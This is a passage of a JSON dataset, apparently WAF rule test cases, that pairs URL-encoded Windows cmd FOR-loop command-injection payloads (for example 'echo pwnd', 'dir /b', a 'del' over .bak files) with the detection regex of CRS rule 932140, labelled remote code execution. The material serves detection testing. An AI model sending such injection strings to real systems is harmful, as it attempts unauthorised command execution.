\\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FL+++++++++++%25a+IN+%28start%2Cstep%2Cend%29+DO+abc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FL+%2FL+%2FL+++++%25a+IN+%28start%2Cstep%2Cend%29+DO+abc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FR+C%3A%5Cbla++++%25A+IN+%28set%29+DO+abc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+for+%25a+in+%28a%2Cb%2Cc%29+do+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%25%25a+IN+%28a%2Cb%2Cc%29+DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%25_+IN+%28a%2Cb%2Cc%29+DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%252+IN+%28a%2Cb%2Cc%29+DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%25-+IN+%28a%2Cb%2Cc%29+DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%25%2F+IN+%28a%2Cb%2Cc%29+DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%25%40+IN+%28a%2Cb%2Cc%29DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%25%5B+IN+%28a%2Cb%2Cc%29DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%25%5D+IN+%28a%2Cb%2Cc%29DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%25%7E+IN+%28a%2Cb%2Cc%29DO+cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25A+IN+%28%22jejeje+brbr%22%29+DO+%40echo+pwnd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%2FF+%22delims%3D%22+%25G+IN+%28%27SET%27%29+DO+%40Echo+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%2FF+%22delims%3D%22+%25G+IN+++%28%27ECHO+foo%27%29DO+%40Echo+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+FOR+%2FF+%22delims%3D%22+%25%7E+IN+++%28%27ECHO+foo%27%29DO+%40Echo+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=For+%2FR+C%3A%5Ctemp%5C+%25G+IN+%28%2A.bak%29+do+Echo+del+%22%25G%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=For+%2FR+C%3A%5Ctemp%5C+%25%25G+IN+%28%2A.bak%29+do+Echo+del+%22%25%25G%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2Ff+%22tokens%3D%2A%22+%25G+IN+%28%27dir+%2Fb%27%29+DO+%28call+%3Asubroutine+%22%25G%22%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2Ff+%22tokens%3D%2A%22+%25%25G+IN+%28%27dir+%2Fb%27%29+DO+%28call+%3Asubroutine+%22%25%25G%22%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22tokens%3D1-5%22+%25A+IN+%28%22This+is+a+short+sentence%22%29+DO+%40echo+%25A+%25B+%25D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22tokens%3D1-5%22+%25%25A+IN+%28%22This+is+a+short+sentence%22%29+DO+%40echo+%25%25A+%25%25B+%25%25D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25G%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FL+%25G+IN+%281%2C1%2C5%29+DO+echo+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": 